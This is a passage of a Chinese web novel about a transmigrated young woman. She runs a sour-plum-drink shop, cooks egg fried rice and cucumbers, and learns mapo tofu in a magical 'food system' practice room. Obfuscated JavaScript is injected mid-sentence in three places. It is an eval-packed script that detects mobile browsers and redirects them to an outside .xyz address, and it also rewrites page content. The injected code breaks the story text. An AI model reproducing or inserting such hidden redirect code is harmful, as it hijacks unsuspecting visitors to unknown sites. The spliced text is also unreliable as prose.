“小娘子还要买些什么？老妇在这里多年，别的不说，地头熟得很。” 白景道：“哪里的种子全些？” 大娘做成了一大单生意，干脆把剩下的蔬菜收一收放回了背篓。 “那你可问对人了，我儿子就在前面，他那里有从隔壁街大铺子拿到的货，我带小娘子过去。” 于是白景就跟着她到种子摊，挑挑拣拣买了四五样种子，不多但都是好养活的，零零散散的也能把后院那小块菜地填满了。 买完种子一看天色，已经差不多了，白景就没再耽搁，急匆匆回了闻香来。 她回来的时候，店门已经打开，白母正在给木桶裹保温的小棉被。 “回来了，福伯去买碎冰了，给你留了酸梅汤，快去吧。” 白景笑着回道：“我买了黄瓜，还有种子。今天吃点新鲜的，等晚饭后凉快点，就把后院的地翻一翻。” * 城外，一支队伍顶着烈日缓慢地向前移动，扬起尘土的地面留下一个个湿哒哒的脚印。 赵山难耐地舔舔干裂的嘴唇，呼呼呼地喘着粗气，嘴角蠕动不断地呢喃：“进了城就能喝到冰饮子了，马上就到了，再撑一会儿。又甜又凉，喝完全身都舒坦了……” 在他旁边的是昨日那个年轻人，他胡乱用脖子上搭的粗布抹去快滴到眼睛里的汗珠，咧开起皮的嘴角，用气音问他：“叔，你念叨什么呢，少说两句，省点口水。” 赵山闻言略抬高了一点音量：“酸梅汤，加冰加糖的酸梅汤，大海碗也只要四文钱，便宜大碗。” 年轻人听了也扯着嘴角笑起来，“山叔，你也想喝那口酸梅汤啊，我还以为就我惦记着。” 赵山往前面的货车上一扫，压低声音：“我看小叶管事很喜欢那里的饮子，如果他去买，我们也能一起。” 好在事情如他们所愿，小叶管事在昨天喝完也是念念不忘，车队刚到街口的时候，他就从车上跳了下来。 * 白景二人收拾收拾就打开了店门，没想到门外已经有人等着了。 那人原本正半靠着门板蹲着，一听到动静连忙站起来：“白姑娘，你们可算是开门了。我都在这里等了快两刻钟了。”边说边递过来一个大水壶，“趁现在人少，快给我来一斤。” 白景接过他的水壶，却没有开始装酸梅汤，反倒放到了手边。 那人一见就急了，追问道：“怎么了怎么了？你这饮子不卖了吗？” 白景道：“今天的冰还没买回来，现在酸梅汤只是放井水里冰着，不如加了碎冰的滋味好，您先稍等片刻。” “哎呦，还能加冰啊！”对方一拍大腿，显然是意外之喜。 白景也趁着这空档跟他闲聊：“大哥瞧着面生，昨天没来过吧。我们家卖的是冰镇酸梅汤，自然是不能少了冰。” 说话间，福伯就带着碎冰回来了。白景接过来分成了三份，一份倒进酸梅汤里，一份倒进一旁的凉开水里，最后那份，她让福伯拿进了后院。昨晚煮了两桶酸梅汤，这是给另一桶留的冰。 白景没用其他工具，直接把打酸梅汤的端子伸进桶里慢慢搅和，以便最快速度降低温度，那些细小的碎冰融化，丝丝凉意带着酸甜之味从中蔓延出来。 第一位客人吸吸鼻子，两眼放光地连声催促：“好了好了，就这样吧，快给我打一壶，可馋死我了。” 白景给手脚麻利地给他装好，刚递过去，就看到一群眼熟的人快步往这边走来。 打头那个见有人站在店门口，忙加快了脚步，远远就喊道：“白姑娘，我没来迟吧。” 白景也提高音量回道：“刚开门，小叶管事来得正巧。” 小叶管事三步并作两步跨到店门口，一把扯下腰间的水囊：“先来一碗八文的酸梅饮子，与昨天一样把水囊打满。” 白景安排了阿娘收钱，自己抄起一口大碗先给他装了，又接过水囊小心地倒满。 就这一会儿的功夫，小叶管事已经牛饮般喝完了一大碗，一抹嘴巴响亮地喊一声：“舒坦！” 等他拿了水囊走到一旁，身后早就眼巴巴等着的赵山一行立刻就逮住空档窜了过来。 “白姑娘，我要一碗四文的。” “麻烦给我装半碗，另外一半给我装水壶里。” “我要两碗。” 伴随着此起彼伏的叫喊声，白景两人一个忙着收钱一个忙着装酸梅汤，不到半个时辰，一桶酸梅汤就卖空了。 好不容易挤到前排的几人眼睁睁地看着最后一小筒酸梅汤被倒进前面那人的水壶，脸色登时绷不住了。 “老板，我们在这里等了小半个时辰了，真的没有了吗？” “我从城南跑过来的，这大老远的。” 白景正费力把木桶往地上搬，听到他们连声抱怨，忙抬高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763940|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音喊道：“酸梅汤还有一桶，大家别急！不要挤，注意安全！” 话音落下，福伯就抱着一个大木桶走过来。 或许是刚刚空了一桶的影响，剩下的买家基本都是两碗起步，最多的一个买了足足五斤的量，惹得其他人对他怒目而视。 这个时间点，上工的上工，基本都是来去匆匆，直接装在水壶里就兜着走，但也少部分用了店里的碗。 他们端了一口碗避在屋檐下，照不到太阳时不时还能有丝丝风，口里是冒着凉气的酸梅汤，那叫一个舒坦惬意。 “昨天我听邻居在那儿吹还不信，后来尝了一口，直接跑着过来。” “没买到吧。嘿嘿，昨天我也在这里看着，没一个时辰，连都旁边桶里的凉水都叫人抢得一干二净。” “我昨天想着先尝尝味，只要了半碗，谁知等我喝完连老板的头发丝都看不到了，还是等小半个时辰后人散了后才找到空档还碗。” “真好喝，”旁边有人伸出舌头把碗沿最后一滴酸梅汤也舔进嘴里，感叹道，“难怪我昨天都没买到，真是太好喝了。” “昨天喝了一碗饮子，做活儿都有劲了，晚上回去也没以前那热到心慌的感觉。” 有人靠着墙，提高声音喊：“白姑娘，明天这饮子还卖吗？” 白景道：“卖的，这天儿热得难受，只要你们天天来，我就卖到夏天过去。” 得了准话后，众人顿时松了口气。 “只要你开门，我们天天过来买。” “是啊，这天热得人心都发慌，我自己不喝，也得给家里带一碗回去。我老娘怕热，一到夏天就吃不下饭，昨天喝了我带回去的酸梅汤，竟然吃了足足一个饼子。” 白景边收拾东西，边听着他们胡天胡地的吹，听到感兴趣的消息就细心记下。等他们喝完饮子还了碗，她也收拾得差不多了。 * 收拾好自家的东西，白景也没忘记昨天答应梅姐的事，擦擦手往后院而去。 朝井里一瞧，还浸着两壶不大不小的水筒，这是她提前留出来自家喝的酸梅汤，另一壶就是梅姐昨天预订的货。 白景把自家的那壶提出来，到前院拿杯子倒了三杯，三人都喘着气围坐在餐桌前。 “今天可真忙。”白母拿出手帕擦了擦额头的汗，又捧起酸梅汤喝了一大口，才觉得又重新活过来了。 “这才哪儿到哪儿啊，从前咱们家酒楼饭点的时候，可比这忙多了。” 白母琢磨着：“是不是该雇个伙计？” 白景摇头：“还忙得过来，多一个人就多一份开支。现在不比从前，能省就省吧。” 她这么一说，白母也回过味来：“是我相差了，”她一敲额头，“瞧我，这身份还没转过来。” 白景没有接话，直接转了话题。 “咱们今天赚了多少钱？” 昨天为了打气，成本只算了食料费，那些杂七杂八的柴火费房租之类的都没折算进去。以后就要靠这铺子过活，成本可不能再这么算。 她一说，白母的注意立刻被转移了，高高兴兴地从柜台下搬出好大一箩筐铜板，喜滋滋地一枚一枚数着。 白景打开系统，发现【赚一千文】的任务已经完成了，刚才太忙，连系统通知都没听到。 半透明的面板上，几条消息浮在上面： 【滴！恭喜宿主完成新手任务，系统将在12小时内正式启动】 【滴！任务奖励：[麻婆豆腐]已发放至背包，请宿主自行查看】 19. 蛋炒饭与拌黄瓜 白景戳开背包，找了一圈才发现[麻婆豆腐]竟然是一张卡牌样的物件。 轻点卡面，上面跳出来一段介绍：[神级麻婆豆腐练习卡，练习室将在系统正式启动后开放] 练习卡？练习室？ 作为一个老书虫，白景脑子一转就想明白了它的用途，不过…… ‘现在不都流行直接一步到位吗？怎么到了我就要自己刷经验值了？’ 在心里默默吐槽一句，不过白景还是很高兴能得到这个功能，简直是为她量身打造，正好补足她基本功不足的短板。 还有12个小时，白景掰着手指算了算，现在是巳时末，也就是10点多快11点的样子。12个小时候就是半夜。 “还得明天啊。”她沮丧地低垂着眉眼，失望地嘟囔一句。 不过也就沮丧这么一会儿，她很快就恢复活力满满的状态，也加入了数钱的行列。 “……一千一百二十八，一千一百二十九，一千一百三十！”白母将最后一个铜钱归到旁边，兴奋得脸都红了，“一千多文啊！整整十两多银子！” 白景也很高兴，虽然已经在系统面板里看到过营业额，但一串冰冷单调的数字，与堆在眼前真材实料的钱是两回事，前者远远没有后者带给人的强大冲击力。 她深吸几口气，稳住激荡的心绪，嘴角却忍不住上翘，连往日平淡的尾音都微微上翘：“我去准备午饭，今天上午大家都累了，就吃点简单的吧。” 白母又开始新一轮的数钱大计，闻言连头都没抬，随意挥挥手：“去吧，累了就随便做点，能对付过去就行。” 福伯也跟着站起来进了后厨，他来给白景烧火拉风箱。 “福伯，我们今天吃蛋炒饭，再烧点热油做个凉拌黄瓜。” 福伯琢磨着菜式就开始点火：“景姐儿，先做拌黄瓜还是先煮饭？” 白景道：“先煮饭，黄瓜要杀杀水，饭煮好后也要晾一晾才能开始炒。” 趁着锅还没热的空闲，白景去米缸里舀了一碗米，想了想又倒回去一些。 系统要培养她烧菜的手艺，‘闻香来’后续肯定要卖菜品，不如今晚就去下馆子，一来庆祝开张，二来也是考察考察未来竞争对手的实力。 淘洗好白米，就倒进锅里煮。这一步没什么技巧，注意水量和火候。因为是用来炒饭，白景煮饭时比平常少加了一点水。这样煮出来的饭湿度恰到好处，不会因水太少而过硬，又能满足炒饭粒粒分明的需求。 前世网上许多教程会教人用隔夜的米饭做炒饭，那样做只能说更易上手，但论起味道来，还是比不上当天现煮的饭。外面的餐馆用的也基本都是当天的饭，只是提前煮好散了热气。 盖上锅盖，静等着饭煮熟。白景就趁着这段时间拿了黄瓜到井边清洗。 要让凉拌黄瓜保持松脆的口感，黄瓜皮就得留着，她拿了刨子小心去除了表面的刺，等完成后留下的就是青白交错的表皮，无意中造成的花纹带着别样的美感，反倒看着更可口了。 把黄瓜对半切开，再对半切，以这些黄瓜的大小，一根切成八条就差不多了。 黄瓜芯软烂，腌制过后影响口感，白景就提前用刀去了。切好后放入盆中，三勺盐一小勺糖，少量的白醋，把黄瓜条抓拌均匀，这一步是为了给黄瓜杀水并腌制，大概需要二十分钟。 系统带了个计时插件，倒是省了她掐算时间的心力。 白景拿出几瓣蒜和一块姜切成片，放到盘子里备用，早上去集市买的小米辣这就派上用场了。 二十分钟后，白景拿起一根黄瓜条折了折，析出水分的黄瓜已经变软，折弯也不会断，这就是腌好了。用清水洗掉多余的盐，加入姜片蒜片小米辣，酱油三小勺。在加醋的时候，她犹豫了一下，最后还是选择了自己更能接受的白醋。然后将所有的调料与黄瓜条抓拌均匀。 白景拿了一小根尝了尝味道，又往里面洒了一小搓糖，继续抓拌。 就在她处理食材的时候，福伯已经给炒锅烧上火。 在锅中直接倒入素油，又往里加了少许香油，待筷子放进去能冒出小气泡的时候，花椒往里面一放，煸炒到变成深褐色，又加入几段剪开的干辣椒，油色就被映成了红褐色。 手中锅勺一舀一倒， 呲啦——！ 热油浇在微凉的黄瓜条上，连带着盆中的蒜片小米辣都被激出了香气。 微微呛人的味道在厨房中浮动。 还带着皮的黄瓜条如翡翠般澈青碧绿，浸润着浓郁的蒜香与辣香，隐隐约约的醋香也在不断加速口水的分泌，引得人恨不得马上吃一口。 凉拌黄瓜条做好后，灶台上焖煮的米饭也差不多熟了。 白景让福伯退了火，只用灶膛里的余温又闷了几分钟，等打开的时候，不仅有软硬适中的米饭，底下还有焦脆的锅巴。她小时候最期待的就是敲成小块放在碗里的锅巴，哪怕什么都不蘸，仅仅是自带的焦香就是她童年日日盼着的零食。 带着对锅巴的期待，白景把锅中的米饭都装出来，放到一个大且浅的盆里，把米饭挪到一旁散热气，她就开始处理锅巴。 等锅巴处理好，一旁米饭的温度也适宜了。 白景取了三个蛋磕在碗里，加入几滴醋少许黄酒胡椒粉后搅散。这是今天刚买的农家蛋，蛋黄金黄，蛋白清亮，连鸡蛋特有的腥气都极淡。她把蛋分出一半，倒在晾好的米饭上并搅拌均匀，直到每一粒米饭都裹上金黄的蛋液。 此时，灶上的炒锅已经烧热，白景伸手在上方试了试温度，倒入清凉的素油，然后一手端着蛋一手拿着长筷子，一边倒一边用筷子转动。热锅凉油，鸡蛋鲜嫩不粘锅的好办法。 等这部分的鸡蛋凝固成块，立刻把搅拌混合好的米饭倒入锅中不断用大火翻炒，在翻滚中水分也被慢慢炒干，金黄色的米饭粒粒分明，间或夹杂着几块鲜嫩的鸡蛋。 “退火。”白景吩咐一声，手上动作不停地往里抓了一把葱花，嫩绿的葱花点缀在金色的蛋炒饭上，如松散堆积的麦子间冒出的嫩叶，丰收与生机巧妙融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763941|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合。 都是自家人吃，也没必要注意摆盘，白景没有选择更好看的瓷盘，转而拿了三口端起来更方便的瓷碗。 “开饭啦。” 白母收拾了桌上的铜钱，拿抹布擦了擦，三碗蛋炒饭被摆在餐桌上，中间是一盘凉拌黄瓜条，极简单的菜式，却因为不断扑鼻而来的香味显得格外吸引人。 “我们快开动吧，我肚子都快饿扁了。”白景说完就直接舀了一勺蛋炒饭塞进嘴里。 唔，味道比前世做的好，手艺没退步也没进步，应该是材料的原因。 专注于填饱肚子的她，自然也没注意到其他两人脸上的惊叹与享受。 听说只是普通的蛋炒饭，白母已经做好随便对付几口的打算，毕竟蛋炒饭要用油，这大热天的吃这种油腻的东西，实在没胃口。 她先尝了一根凉拌黄瓜条，腌得有些蔫巴的黄瓜水分不多但却带着松脆的口感，微微的酸、微微的辣，如夏日一丝凉风，把隐隐的燥热都驱散了，让人忍不住又吃了几块。 普普通通的黄瓜都能做得爱不绝口，白母不禁对面前这碗“普普通通”的蛋炒饭带上了的期待。 她先夹了一小块鸡蛋，鸡蛋鲜嫩不带丝毫腥气，这倒不能她吃惊，毕竟也是大酒楼的老板娘，这点好东西还是吃过的。但出乎她意料的是那粒粒分明又呈现金黄色的米饭，仔细一看，竟然是米饭完全被鸡蛋包裹，让米粒透出了鸡蛋特有的色泽。 带着期待的心情吃一口，鸡蛋鲜嫩柔软，里面的米饭软硬适中，米饭的清香与鸡蛋的香味完美地融合在一起，再配上一口脆爽的黄瓜条，连最后一丝油腻也被解除了，只留下挥之不去的香气和清爽的口感。 什么叫唇齿留香？这就是！ 白母顾不上再细细品味，迫不及待地开始第二口第三口……如风卷残云般解决了满满一碗蛋炒饭。 福伯更喜欢黄瓜条和蛋炒饭混着吃，一口酸爽的黄瓜，一口香气扑鼻的蛋炒饭，吃得他一脸满足，满嘴油光。 白景见两人吃得高兴，心情也更好了。虽然远走他乡，但短短几天时间，遇到了好心的梅姐还解决了以后的生计，以后日子会越过越好。 饭后，把收拾碗筷和灶台的活交给他们，白景去后院井中提了一大壶酸梅汤出来。 这是昨天梅姐定下的货，正好给她送过去。 白景擦干净壶身上的水渍，轻轻晃了晃壶身，叮叮当当的碰撞声响起。 ——冰还没化完，看来这个量的冰块够用了。 说好要给冰镇酸梅汤，可不能失信于人。 她提着酸梅汤过去的时候，梅姐已经收拾好东西准备出发。 梅姐一见她就笑道：“可巧，我正要去找你呢。” 白景接道：“这说明我们心有灵犀。” 时间不早了，两人略说了几句就出发去做工的地方。白景目送福伯和梅姐离开，琢磨着等太阳没这么烈了就去找张麻子进货。 酸梅汤比预计的销量好，现在家里的食材只够再卖两三天。 20. 鲫鱼豆腐汤 白景回去后把乌梅山楂等物泡上，就打了一把伞出屋。 “阿娘，我去采买些食材，你看着点时间，要是我没及时回来，记得把水换一换。” “知道了，你出门小心些，钱带够没有？” 白景已经走到门口，边开伞边答：“带了。” * “还好我认路的本事不错。”转了好几个弯才到张麻子所在的小院，白景不由得松了口气。 略擦了擦额头的汗珠，她上前敲门：“张老板，在不在？” 大热天的，张麻子躺在最凉快那间屋子里避暑，就听到门外传来的敲门声伴着呼喊。 张老板？ 这称呼，他只听前两天梅娘带来的小姑娘喊过。那可是这几个月难得的银子生意啊。 想到这，张麻子一骨碌就爬了起来。 一打开院门，门外站着的正是那日来过的人。 “外头晒，姑娘快进来避避。”张麻子让开身，把人迎进屋。 白景收了伞，又喝了杯凉水才觉得又活过来了。 “张老板，几日不见，风采依旧啊。” 张麻子摆摆手：“嗐，就是混日子，哪来什么风采，邻里乡亲的照顾，混口饭吃罢了。白小娘子这次来要添置什么？” 白景微笑：“张老板叫我景娘就好。”现在叫白小娘子，过几年岂不是该叫白娘子？ 她摇摇头甩去脑子里不必要的联想，把心神收回到正事上来。 张麻子不知她的想法，但既然顾客这么要求了，他也不会对着干，从善如流地改了口。 白景放下茶杯，道：“我这次来，是向张老板订大货。照着上次的货再来三份，如果顺利的话，差不多半个月就要到您这里进一批货。” 张麻子迅速在心里算了算，上次是600文，三份就是1800文，如果签了长期供货的契书，这个价钱必定会往下压一些，但就算这样，他的赚头也不少，还能多一条销路。 “景娘要的东西不少，我得先找我兄弟商量商量。您稍后？” 白景往外看了眼天色，拿起了伞：“不急，这两日内给个准话便是。我在梅姐烧饼铺旁的‘闻香来’铺子，你到时候送货上门，咱们商量好再签契书。” ——谈判砍价这种事，不是她的长处，到时候就交给福伯。 他这么说，张麻子自然是点头答应，起身送她出去后就往兄弟家赶去。 * 哪怕是撑着伞沿屋檐阴凉处走，等回到小院的时候，白景也已经出了一身汗。跟白母说了几句，她就进屋换洗去了。 换洗后出来，还没走到前院就听到梅姐洪亮的嗓门，听着似乎格外的飞扬。 白景走过去，笑道：“什么好事啊，快说出来，让我也沾沾喜气。” 梅姐笑得眼睛都快看不见了，嘴也合不上，嘴角拼命地往上翘，一见她出来就连忙迎上去。 “今儿可真是有件大好事，多亏了你家福伯，要不是这种没事可落不到我家老张头上。” 白景闻言就看向福伯，眼中带着询问。 福伯还是微微带笑的恭谨模样：“只是送出些许酸梅汤罢了，不值一提。” 他这么谦虚，梅姐就咋呼开了，直道：“什么叫‘只是送了些汤’，你可是帮我家老张升职了啊。要不是他，这管事的位置还落不到我家老张头上。” 白景也在梅姐的说明下知道了详情，原来烧饼张做事的地方正空出一个小管事的位置，大管事要从他和另一个人中选择，正巧福伯今天跟着去，一壶汤几句话就与大管事极为投缘，那空缺自然也就落在了烧饼张身上。 白景直接竖起大拇指：“福伯，你真棒！”这种交际能力，她就是穿越三回也学不来。 福伯不好意思地笑笑，道：“只是以后要多留一壶酸梅汤出来了。” 白景没把这事放在心上：“这算什么，小事一桩。” 梅姐道：“那壶酸梅汤就记我账上，回头给你拿订金过来。” 白景没拒绝，直接应下。 “对了，你们晚饭备下了吗？”梅姐问道。 白景回道：“还没，今天准备下馆子。” 梅姐一拍大腿，喜道：“这不就巧了。今晚我做东，在陈记饭馆搓一顿，多谢福伯帮我家那口子周旋。” 白景正欲开口拒绝，梅姐就直接打断道：“你可别拒绝，这是给福伯的辛苦饭，可不能省。” 她这么说，白景也不好再说什么，询问了福伯的意见后，就约好申时末出发。 * 这次福伯意外搭上大管事的关系，在那边的销路一下子就打开了大半，连带着对酸梅汤的需求也更大了。趁着下午的时间，白景估摸着煮了三大桶的量，依次把它们装好放到井水里降温。 备好明天的商品后，三人各自回房换洗一番，再出来已经差不多快到酉时了，一出店门就看到同样打扮干净的梅姐带着两个孩子走过来。 “老张已经过去定好位置了，咱们过去正好。” 一行人便向陈记饭馆走去。 街道旁的饭馆不像大酒楼有单独的包厢，只用了木架子配上花草隔出几个相对僻静的空间来，梅姐一家这次定的就是其中一个。 白景一行人到的时候，桌上已经摆了几盘菜肴，荤的素的汤的都有。烧饼张站在一旁解释道：“不知道你们喜欢什么，只让上了几道招牌菜。其他的想吃什么自己点。” 旁边侍立的小二也抓住机会，一叠声报出一大串菜名。 白景根据名字点了一道豆腐一道腌菜，白母和福伯又要了一荤两素，小二确认菜单之后就报着菜名往后厨而去。 小二走后，梅姐引着几人坐下，给他们介绍：“陈记饭馆招牌菜好几种，但真的让人念着想着的还得是这道鲫鱼豆腐汤。”她给他们各自装了一碗汤递过去。 白景看着面前奶白的鱼汤，上面浮着点点翠绿葱花，有种浮萍卧波的美感，轻轻搅动，被撑出孔洞的豆腐鼓囊囊的，一看就吸饱了汤汁。 两个小孩看着鲫鱼汤不自觉地咽了咽口水，连手里的肉干都不香了，直勾勾地盯着桌上奶白色的汤水。 “阿娘，我也想吃。” 斯溜~ 梅姐眉头一皱，正想呵斥，就看到白母挽袖给两小孩各舀了一碗：“都吃都吃，一起吃才香。你们也是，干看着有什么意思，这么多菜就我们哪里吃得完。” 在她旁边，白景已经完全被碗中的鲫鱼汤吸引了。没有丝毫鱼腥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763942|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味，一贯以多刺闻名的鲫鱼里也没有留下小刺，只有浓浓的鲜香留在汤中。 仰赖这辈子有条极为灵敏的舌头，她只喝了一口就尝出来，这极为鲜香的鱼汤里竟然没有加大料，简直不可思议。 真不愧是首推的招牌菜。 第二口她选择了豆腐块，与寻常的豆腐不同，这块豆腐周边遍布着不大不小的孔洞，调羹微动还能看出里面蕴含的汤汁在轻轻晃动。吃进口中，牙齿轻咬，如她所料的那样，鲜香的鱼汤被封在豆腐中，混着豆香迸溅开来，留下满口的浓香。 “这应当是冻过的豆腐吧，真是大手笔。”白景又吃了一块豆腐，忍不住感叹道。 正巧这时小二端了菜过来，闻言惊道：“姑娘好灵的舌头。” 白景笑笑没说话。 他又指着桌上的香煎炸鱼和酸辣藕片介绍：“这两道也是店中大师傅的拿手菜，姑娘尝尝。” 白景从善如流，各尝了一口。 “味道尚佳，但远不及鱼汤。” 大概就是顺路的第一选择和特意绕远路跑来吃的差别。 后者才是留住回头客，让老客带新客的必杀技。 小二显然不是第一次听到这说法，笑着答道：“这鲫鱼豆腐汤可是我们东家祖传的方子，就凭这道菜，愣是从交不起地租的小摊子做到这好几间大的饭馆子。您要是喜欢，以后常来。” 白景点头，“会的。” 一顿饭吃得宾主尽欢，等结束后桌上的盘子几乎都空了，尤其是鲫鱼汤，连最后碗底的残留的汤汁都被两个小的舔得一干二净。 一行人说说笑笑往家里走去，还没到店铺就被看到一堆的人。 “这是怎么了？”梅姐扯了最近的一个人急声问道，“前面没出事吧？” 被她拉住的那人也不恼，只是依旧伸长脖子往那边看去，心不在焉地回答：“没事，我们都在等着小店主开饭。那手艺，可太香了，光闻着就能吃下几碗饭。”说完还狠狠吸了口气，但前几天萦绕在鼻尖的饭菜浓香却丝毫没出现。 梅姐松开他回头看向白景，用眼神示意：他说的是你吧。 白景微微移开视线，抿唇一笑。 深吸一口气，做好心理准备，她才继续往前走。 果然，才刚往前走几步，就被人群发现了。 “诶？这不是小店主嘛。” “小店主，你家今天还没开饭吗？我就等着闻你家的菜香下饭呢。” “酉正都过了，饿坏了吧。快回去做饭吧，大家都让让啊，小店主要回去做饭了。” 白景站在旁边，嘴巴张了闭闭了张，一句话也没插不上：……算了，我闭嘴。 好不容易回了店铺，她几乎是迫不及待地躲进了后院，隔断门帘放下时，她还能感觉到背后满满期待地视线。 搞不定，靠你了，福伯。 躲进后院的白景大大松了口气，打开系统看了一眼倒计时，还剩五六个小时。 还真要等到半夜啊。 想想明天的工作量，想想穿越后好不容易调好的作息，白景果断决定明天起床再看。 反正系统放在这里，又不会跑。 话虽如此，她还是忍不住心里的雀跃与期待。 21. 麻婆食肆 第二天一大早，天刚蒙蒙亮的时候，白景就醒了，迷迷糊糊的连眼睛都没睁开，已经下意识地打开系统。 系统面板上大大的绿色字体闪烁着： 【练习室[麻婆豆腐]已经开启，是否进入】 白景一个激灵直接清醒过来，刷地就坐了起来。 她迫不及待地点击[进入]，下一刻就出现在一个空旷的街道上。 她环顾一周，干净整洁的商业街上一个人都没有。 ‘说好的练习室呢？学麻婆豆腐之前，不会还要做个前置任务吧？’ 就在想法刚从脑海里闪现的时候，面前突然出现了一个箭头，一点一点地往前探，像是在引导她往前走。 白景顺着箭头的方向，走了百来米，又绕过一个弯，最后停在了一间不大的铺子前。 她抬头看了眼铺子的招牌：【麻婆食肆】 好家伙！ 这系统大手笔啊。 以前看到的小说里都只给一间黑布隆冬的小屋子，里头再加个大佬级别的师父，她的系统直接给一条商业街啊。 白景突然有个大胆的猜测——这条街上不会都是食肆吧？！ 每次学做菜都要她自己去拜访店主？ 不要啊！ 好在美食系统是个专注美食的好系统，不搞那些花里胡哨的东西。就在白景犹豫要不要上去敲门的时间里，身后已经传来了一道脚步声。 她转身看去，是一个两鬓含霜的女人，看起来高高瘦瘦的。 白景下意识往她手上看去，那是一双厨师的手。 “请问，你是这里的店主人吗？” 女人抬头，面无表情的，说话一卡一卡的像是年久失修的机器：“我是，大家都叫我麻婆，你是外乡人吧。” 白景一时不知该如何回答，想了想还是决定说实话，于是上前一步行礼道：“麻婆好，在下白景，是来学做麻婆豆腐的。” 麻婆慢吞吞地走近，又越过她走到店门前，又慢吞吞地打开店门，回身催促：“进来吧。” 白景连忙跟进去，抢在麻婆之前给她倒了一碗水，“婆婆，您喝。” 麻婆接过茶碗放在一边，上上下下地打量了她一番，确认道：“你真想学做豆腐？” 白景点头：“对，我想学做麻婆豆腐。”她加重最后四个字的音，强调道。 麻婆没说同意却也没把她赶出去，只道：“最近店里忙，老婆子有些力不从心啊。” 白景闻弦歌而知雅意，当即表示会留下来帮忙。 然后就像过场动画一样，面前出现一个个客人进进出出的画面，再停下来，外面的天色就从早上到近黄昏了。 白景：像是在走副本剧情。 没过一会儿，麻婆又突然冒出来了。 “我老婆子这辈子拿得出手的就这一道菜，你想学，先来切个豆腐。” “好。”白景一口应下。 进入厨房，她按照经验选了一块豆腐，深吸一口气，摒除所有杂念。 手中刀光闪动，几乎能看出残影，架势摆的足足的，外行人一看就能发出阵阵惊呼。 然后，麻婆看着砧板上沾着的豆腐渣，手上一用力，不小心捏碎了一块豆腐。 “就这？” 麻婆臭着一张脸，“连基本功都没有。” 白景阿巴阿巴：“这参差错落的，带着不规则的美感。” 麻婆：“呵。” 白景脖子一缩，闭嘴了。 “看着。”麻婆示意她让开，自己上前取了块豆腐。 刀光闪动间，疾如闪电，带着举重若轻的轻描淡写。待停手，砧板上的豆腐块块分明，大小一致，连一丝切坏的豆腐渣都没有。近看这一步，就与白景有云泥之别。 最后她获得了一盘麻婆豆腐和一碗米饭作为辛劳一天的报酬。 麻、辣、鲜、香、嫩、酥、烫、整，这是白景了解的麻婆豆腐的特点。 但这种事知道容易做起来难，她倒是能凭借各色调料做出麻辣鲜香的味道来，吃起来又香又下饭，之前以为自己做得还算不错了。现在见到这盘麻婆豆腐，才知道从前真是见识太少了。 盘中的豆腐还是有棱有角的块状，色如白玉，勾芡过的红油挂在豆腐上，如白玉染霞，又如少女火红嫁衣下露出的一截凝雪皓腕，带着特别的吸引力。 白景夹了一块放进嘴里， 辣椒的辣、花椒的麻、豆腐的嫩、红油的烫，沾染着汤汁与食材的香在口中猛然炸开，在这一瞬间，仿佛连每个味蕾都在欢呼迎接。 她轻轻一抿，豆腐便直接在嘴里化开，连同那些调料的鲜香麻辣完美融合在一起。 微烫的温度从豆腐传出，让白景口中都带上灼热，若是换了其他时候，她早就张开嘴呼出热气散温了，但这时候她竟然不舍得张嘴，生怕香味从嘴里跑走。 豆腐化开后，夹杂的肉粒也开始体现它的独特——提前腌制煸炒过的肉粒带着酥带着嫩，又与之前加入的酱汁和豆腐香味交融在一起，在口中交缠出浓郁不散的香味，咽下后也让人回味无穷。 绝了！ “我从来没吃到过这么好吃的麻婆豆腐。” 前世斥巨资跑到麻婆豆腐总店吃的所谓正宗麻婆豆腐，跟这盘比起来，也差了亿点点。。 麻婆在做菜时，白景全程围观，所用的调料食材样样分明，调料远远不如她自己做的时候丰富，但做出来的成品却甩了她一个银河系。 不愧是美食系统里的大佬。 一盘简单的豆腐米饭，吃得她欲罢不能，恨不得再来三个胃。 吃完饭后，正值晚饭客流量最多的时候，但店中街道上却奇异般的没有一个客人。白景估摸着这应该是系统在给她创造练习的机会。 没再耽搁，她走进厨房，选了一块豆腐，脑海里播放起麻婆切豆腐时的手法。 不用眼睛看，眼还没到手已经落下，豆腐都没颤动菜刀已经抬起来。 总结一下，就是——趁豆腐不注意，这样那样就好了。 白景没有一开始就追求像麻婆那样的速度与精准度，一刀一刀慢慢切，努力做到每一块豆腐都大小均匀。 叨、叨、叨…… 菜刀与砧板接触的声音不断响起。 不知不觉间，旁边的盆里已经堆满了切成小块的豆腐。要不是系统能自动刷新，案桌上的豆腐早就被她用完了。 “还在练呢？”微微沙哑的女声从身后传来。 